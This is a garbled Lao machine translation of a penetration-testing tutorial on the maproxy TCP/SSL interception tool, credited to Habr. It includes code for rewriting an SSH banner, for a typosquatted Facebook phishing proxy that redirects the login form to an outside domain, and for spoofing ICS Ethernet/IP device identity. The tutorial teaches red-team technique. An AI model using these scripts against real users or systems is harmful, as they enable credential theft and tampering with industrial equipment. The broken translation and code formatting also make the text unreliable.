ປະມວນຜົນຂໍ້ມູນເຄືອຂ່າຍໃນເວລາບິນ

ການ​ແປ​ພາ​ສາ​ຂອງ​ບົດ​ຄວາມ​ໄດ້​ຖືກ​ກະ​ກຽມ​ໃນ​ສະ​ມາດ​ສະ​ມາດ​ຂອງ​ການ​ເລີ່ມ​ຕົ້ນ​ຂອງ​ວິ​ຊາ​ການ “Pentest. ການປະຕິບັດການທົດສອບການເຈາະ ".

ຄຳ ອະທິບາຍ

ປະເພດຂອງການປະເມີນຄວາມປອດໄພ, ຕັ້ງແຕ່ການທົດສອບການເຈາະແບບປົກກະຕິແລະການດໍາເນີນງານຂອງທີມສີແດງຈົນເຖິງການ hack ອຸປະກອນ IoT / ICS ແລະ SCADA, ກ່ຽວຂ້ອງກັບການເຮັດວຽກກັບໂປໂຕຄອນເຄືອຂ່າຍສອງ, ນັ້ນແມ່ນ, ສະກັດແລະດັດແປງຂໍ້ມູນເຄືອຂ່າຍລະຫວ່າງລູກຄ້າແລະເປົ້າຫມາຍ. ການຈາລະຈອນຂອງເຄືອຂ່າຍ sniffing ບໍ່ແມ່ນວຽກທີ່ຍາກເພາະວ່າພວກເຮົາມີເຄື່ອງມືເຊັ່ນ Wireshark, Tcpdump ຫຼື Scapy, ແຕ່ການດັດແກ້ເບິ່ງຄືວ່າເປັນວຽກທີ່ໃຊ້ແຮງງານຫຼາຍເພາະວ່າພວກເຮົາຈະຕ້ອງມີການໂຕ້ຕອບບາງຢ່າງເພື່ອອ່ານຂໍ້ມູນເຄືອຂ່າຍ, ການກັ່ນຕອງ, ປ່ຽນແປງ. ມັນຢູ່ໃນການບິນແລະສົ່ງມັນກັບຄືນໄປຫາເຈົ້າພາບເປົ້າຫມາຍໃນເວລາເກືອບຈິງ. ນອກຈາກນັ້ນ, ມັນຈະເປັນທີ່ເຫມາະສົມຖ້າເຄື່ອງມືດັ່ງກ່າວສາມາດເຮັດວຽກໂດຍອັດຕະໂນມັດກັບການເຊື່ອມຕໍ່ຂະຫນານຫຼາຍແລະສາມາດປັບແຕ່ງໄດ້ໂດຍໃຊ້ສະຄິບ.

ມື້ຫນຶ່ງຂ້າພະເຈົ້າໄດ້ຄົ້ນພົບເຄື່ອງມືທີ່ເອີ້ນວ່າ maproxy, ເອກະສານຢ່າງໄວວາເຮັດໃຫ້ມັນຊັດເຈນກັບຂ້ອຍວ່າ maproxy – ພຽງ​ແຕ່​ສິ່ງ​ທີ່​ຂ້າ​ພະ​ເຈົ້າ​ຕ້ອງ​ການ​. ນີ້​ແມ່ນ​ເປັນ​ທໍາ​ມະ​ດາ​ທີ່​ງ່າຍ​ດາຍ​, versatile ແລະ​ການ​ຕັ້ງ​ຄ່າ TCP proxy ໄດ້​ຢ່າງ​ງ່າຍ​ດາຍ​. ຂ້າພະເຈົ້າໄດ້ທົດສອບເຄື່ອງມືນີ້ຢູ່ໃນຄໍາຮ້ອງສະຫມັກທີ່ສັບສົນຫຼາຍ, ລວມທັງອຸປະກອນ ICS (ເຊິ່ງສ້າງແພັກເກັດຈໍານວນຫລາຍ) ເພື່ອເບິ່ງວ່າມັນສາມາດຈັດການກັບການເຊື່ອມຕໍ່ຂະຫນານຫຼາຍ, ແລະເຄື່ອງມືປະຕິບັດໄດ້ດີ.

ບົດ​ຄວາມ​ນີ້​ຈະ​ແນະ​ນໍາ​ໃຫ້​ທ່ານ​ກັບ​ການ​ປຸງ​ແຕ່ງ​ຂໍ້​ມູນ​ເຄືອ​ຂ່າຍ​ໃນ​ການ​ບິນ​ໂດຍ​ນໍາ​ໃຊ້​ maproxy.

ພາບລວມ

ເຄື່ອງມື maproxy ແມ່ນອີງໃສ່ Tornado, ກອບເຄືອຂ່າຍ asynchronous ທີ່ນິຍົມ ແລະເປັນຜູ້ໃຫຍ່ໃນ Python.

ໂດຍທົ່ວໄປ, ມັນສາມາດດໍາເນີນການໃນຫຼາຍຮູບແບບ:

• TCP:TCP - ການເຊື່ອມຕໍ່ TCP ທີ່ບໍ່ໄດ້ເຂົ້າລະຫັດ;
• TCP:SSL и SSL:TCP - ດ້ວຍການເຂົ້າລະຫັດທາງດຽວ;
• SSL:SSL - ການ​ເຂົ້າ​ລະ​ຫັດ​ສອງ​ທາງ​.

ມັນມາເປັນຫ້ອງສະຫມຸດ. ສໍາລັບການເລີ່ມຕົ້ນໄວ, ທ່ານສາມາດນໍາໃຊ້ໄຟລ໌ຕົວຢ່າງທີ່ສະທ້ອນໃຫ້ເຫັນຕົ້ນຕໍ ຫນ້າທີ່ຫ້ອງສະຫມຸດ:

• all.py
• certificate.pem
• logging_proxy.py
• privatekey.pem
• ssl2ssl.py
• ssl2tcp.py
• tcp2ssl.py
• tcp2tcp.py

ກໍລະນີ 1 – ຕົວແທນ bidirectional ງ່າຍດາຍ

ອີງໃສ່ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ຕັ້ງແຕ່ຕອນຕົ້ນ ProxyServer() ເອົາສອງການໂຕ້ຖຽງ - ສະຖານທີ່ເຊື່ອມຕໍ່ແລະພອດເປົ້າຫມາຍ. server.listen() ເອົາການໂຕ້ຖຽງຫນຶ່ງ - ພອດສໍາລັບການຟັງການເຊື່ອມຕໍ່ຂາເຂົ້າ.

ການ​ປະ​ຕິ​ບັດ​ສະ​ຄິບ​:

# python tcp2tcp.py

ເພື່ອດໍາເນີນການທົດສອບ, ພວກເຮົາຈະເຊື່ອມຕໍ່ກັບເຄື່ອງແມ່ຂ່າຍ SSH ທ້ອງຖິ່ນໂດຍຜ່ານສະຄິບຕົວແທນຂອງພວກເຮົາ, ເຊິ່ງຟັງຢູ່ໃນ. 2222/tcp ພອດແລະເຊື່ອມຕໍ່ກັບພອດມາດຕະຖານ 22/tcp ເຊີບເວີ SSH:

ປ້າຍໂຄສະນາຍິນດີຕ້ອນຮັບແຈ້ງໃຫ້ທ່ານຮູ້ວ່າສະຄິບຕົວຢ່າງຂອງພວກເຮົາໄດ້ຕົວແທນການຈະລາຈອນເຄືອຂ່າຍສົບຜົນສໍາເລັດ.

ກໍລະນີທີ 2 - ການດັດແກ້ຂໍ້ມູນ

ສະຄຣິບສາທິດອື່ນ logging_proxy.py ເຫມາະສໍາລັບການພົວພັນກັບຂໍ້ມູນເຄືອຂ່າຍ. ຄໍາເຫັນໃນໄຟລ໌ອະທິບາຍວິທີການຫ້ອງຮຽນທີ່ທ່ານສາມາດດັດແປງເພື່ອບັນລຸເປົ້າຫມາຍຂອງທ່ານ:

ສິ່ງທີ່ຫນ້າສົນໃຈທີ່ສຸດແມ່ນຢູ່ທີ່ນີ້:

• on_c2p_done_read – ເພື່ອສະກັດຂໍ້ມູນຕາມທາງຈາກລູກຄ້າໄປຫາເຄື່ອງແມ່ຂ່າຍ;
• on_p2s_done_read - ປີ້ນກັບກັນ.

ລອງປ່ຽນປ້າຍໂຄສະນາ SSH ທີ່ເຊີບເວີສົ່ງຄືນໃຫ້ລູກຄ້າ:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

ປະຕິບັດ script:

ດັ່ງທີ່ທ່ານສາມາດເຫັນໄດ້, ລູກຄ້າໄດ້ຖືກຫຼອກລວງເພາະວ່າຊື່ເຄື່ອງແມ່ຂ່າຍ SSH ສໍາລັບລາວໄດ້ຖືກປ່ຽນເປັນ «DumnySSH».

ກໍລະນີທີ 3 – ຫນ້າເວັບ phishing ງ່າຍດາຍ

ມີວິທີການທີ່ບໍ່ມີທີ່ສິ້ນສຸດໃນການນໍາໃຊ້ເຄື່ອງມືນີ້. ເວລານີ້ໃຫ້ເຮົາສຸມໃສ່ສິ່ງທີ່ປະຕິບັດໄດ້ຫຼາຍຂຶ້ນຈາກຝ່າຍປະຕິບັດງານຂອງທີມສີແດງ. ໃຫ້ເຮົາຮຽນແບບໜ້າດິນ m.facebook.com ແລະໃຊ້ໂດເມນທີ່ກຳນົດເອງດ້ວຍການພິມຜິດໂດຍເຈດຕະນາ, ຕົວຢ່າງ, m.facebok.com. ສໍາລັບຈຸດປະສົງການສາທິດ, ໃຫ້ສົມມຸດວ່າໂດເມນໄດ້ຖືກລົງທະບຽນໂດຍພວກເຮົາ.

ພວກ​ເຮົາ​ຈະ​ສ້າງ​ຕັ້ງ​ການ​ເຊື່ອມ​ຕໍ່​ເຄືອ​ຂ່າຍ​ທີ່​ບໍ່​ໄດ້​ເຂົ້າ​ລະ​ຫັດ​ກັບ proxy ຜູ້​ຖືກ​ເຄາະ​ຮ້າຍ​ຂອງ​ພວກ​ເຮົາ​ແລະ SSL Stream ກັບ​ເຊີບ​ເວີ​ເຟ​ສ​ບຸກ (31.13.81.36). ເພື່ອເຮັດໃຫ້ຕົວຢ່າງນີ້ເຮັດວຽກ, ພວກເຮົາຈໍາເປັນຕ້ອງປ່ຽນສ່ວນຫົວ HTTP host ແລະໃສ່ຊື່ໂຮດທີ່ຖືກຕ້ອງ, ແລະພວກເຮົາຍັງຈະປິດການບີບອັດການຕອບສະຫນອງເພື່ອໃຫ້ພວກເຮົາສາມາດເຂົ້າຫາເນື້ອຫາໄດ້ງ່າຍ. ໃນທີ່ສຸດພວກເຮົາຈະປ່ຽນແບບຟອມ HTML ເພື່ອໃຫ້ຂໍ້ມູນການເຂົ້າສູ່ລະບົບຖືກສົ່ງໄປຫາພວກເຮົາແທນທີ່ຈະເປັນເຄື່ອງແມ່ຂ່າຍຂອງ Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/lo/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

ໃນທີ່ສຸດ:

ດັ່ງທີ່ເຈົ້າສາມາດເຫັນໄດ້, ພວກເຮົາສາມາດປ່ຽນແທນເວັບໄຊທ໌ຕົ້ນສະບັບໄດ້ຢ່າງສໍາເລັດຜົນ.

ກໍລະນີທີ 4 – Porting Ethernet/IP

ຂ້ອຍໄດ້ຈັດການກັບອຸປະກອນອຸດສາຫະກໍາແລະຊອບແວ (ICS / SCADA) ເປັນເວລາຂ້ອນຂ້າງ, ເຊັ່ນ: ຕົວຄວບຄຸມໂຄງການ (PLC), ໂມດູນ I/O, ໄດ, ລີເລ, ສະພາບແວດລ້ອມການຂຽນໂປຼແກຼມ ladder ແລະອື່ນໆອີກ. ກໍລະນີນີ້ແມ່ນສໍາລັບຜູ້ທີ່ມັກສິ່ງອຸດສາຫະກໍາ. ການ hack ວິທີແກ້ໄຂດັ່ງກ່າວກ່ຽວຂ້ອງກັບການຫຼິ້ນຢ່າງຈິງຈັງກັບໂປໂຕຄອນເຄືອຂ່າຍ. ໃນຕົວຢ່າງຕໍ່ໄປນີ້, ຂ້າພະເຈົ້າຢາກສະແດງວິທີທີ່ທ່ານສາມາດດັດແປງການຈາລະຈອນເຄືອຂ່າຍ ICS/SCADA.

ສໍາລັບການນີ້, ທ່ານຈະຕ້ອງການດັ່ງຕໍ່ໄປນີ້:

• ເຄືອຂ່າຍ sniffer, ສໍາລັບການຍົກຕົວຢ່າງ, Wireshark;
• ອີເທີເນັດ / IP ຫຼືພຽງແຕ່ອຸປະກອນ SIP, ທ່ານສາມາດຊອກຫາມັນໂດຍໃຊ້ບໍລິການ Shodan;
• script ຂອງພວກເຮົາແມ່ນອີງໃສ່ maproxy.

ທໍາອິດ, ໃຫ້ເບິ່ງສິ່ງທີ່ການຕອບສະຫນອງການກໍານົດປົກກະຕິຈາກ CIP (Common Industrial Protocol) ເບິ່ງຄືວ່າ:

ການລະບຸອຸປະກອນແມ່ນເຮັດສຳເລັດໂດຍໃຊ້ໂປຣໂຕຄໍ Ethernet/IP, ເຊິ່ງເປັນສະບັບປັບປຸງຂອງໂປຣໂຕຄໍ Ethernet ອຸດສາຫະກຳທີ່ຫໍ່ໂປຣໂຕຄໍຄວບຄຸມເຊັ່ນ CIP. ພວກ​ເຮົາ​ຈະ​ປ່ຽນ​ຊື່ ID ທີ່​ເນັ້ນ​ໃຫ້​ເຫັນ​ໃນ​ຫນ້າ​ຈໍ​ໄດ້​ "NI-IndComm ສໍາລັບອີເທີເນັດ" ການ​ນໍາ​ໃຊ້​ຕົວ​ອັກ​ສອນ​ຕົວ​ແທນ​ຂອງ​ພວກ​ເຮົາ​. ພວກເຮົາສາມາດໃຊ້ script ໄດ້ logging_proxy.py ແລະຄ້າຍຄືກັນແກ້ໄຂວິທີການຫ້ອງຮຽນ on_p2s_done_read, ເນື່ອງຈາກວ່າພວກເຮົາຕ້ອງການໃຫ້ຊື່ຕົວຕົນທີ່ແຕກຕ່າງກັນທີ່ຈະເຫັນໄດ້ໃນລູກຄ້າ.

ລະຫັດ:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

ໂດຍພື້ນຖານແລ້ວ, ພວກເຮົາໄດ້ຮ້ອງຂໍໃຫ້ມີການກໍານົດອຸປະກອນສອງຄັ້ງ, ຄໍາຕອບທີສອງແມ່ນຕົ້ນສະບັບ, ແລະອັນທໍາອິດໄດ້ຖືກດັດແປງໃນການບິນ.

ແລະສຸດທ້າຍ

ໃນຄວາມຄິດເຫັນຂອງຂ້ອຍ maproxy ເຄື່ອງມືທີ່ສະດວກແລະງ່າຍດາຍ, ເຊິ່ງຖືກຂຽນໄວ້ໃນ Python, ດັ່ງນັ້ນຂ້ອຍເຊື່ອວ່າເຈົ້າກໍ່ສາມາດໄດ້ຮັບຜົນປະໂຫຍດຈາກການນໍາໃຊ້ມັນ. ແນ່ນອນ, ມີເຄື່ອງມືທີ່ສັບສົນຫຼາຍສໍາລັບການປຸງແຕ່ງແລະດັດແກ້ຂໍ້ມູນເຄືອຂ່າຍ, ແຕ່ພວກເຂົາຍັງຕ້ອງການຄວາມສົນໃຈຫຼາຍແລະມັກຈະຖືກສ້າງຂື້ນສໍາລັບກໍລະນີການນໍາໃຊ້ສະເພາະ, e.g. ມູເຣນາ, Modlishka ຫຼື evilginx ສໍາລັບກໍລະນີທີ່ຄ້າຍຄືກັນກັບທີສາມ, ຫຼື ໂຊຟາ ສໍາລັບກໍລະນີສຸດທ້າຍ. ວິທີການຫນຶ່ງຫຼືອື່ນ, ດ້ວຍການຊ່ວຍເຫຼືອ maproxy ທ່ານສາມາດປະຕິບັດແນວຄວາມຄິດຂອງທ່ານໄດ້ໄວສໍາລັບການຂັດຂວາງຂໍ້ມູນເຄືອຂ່າຍ, ນັບຕັ້ງແຕ່ຕົວຢ່າງ scripts ມີຄວາມຊັດເຈນຫຼາຍ.

ການທົດສອບກົນໄກການພິສູດຢືນຢັນໃນ Windows AD

ແຫຼ່ງຂໍ້ມູນ: www.habr.com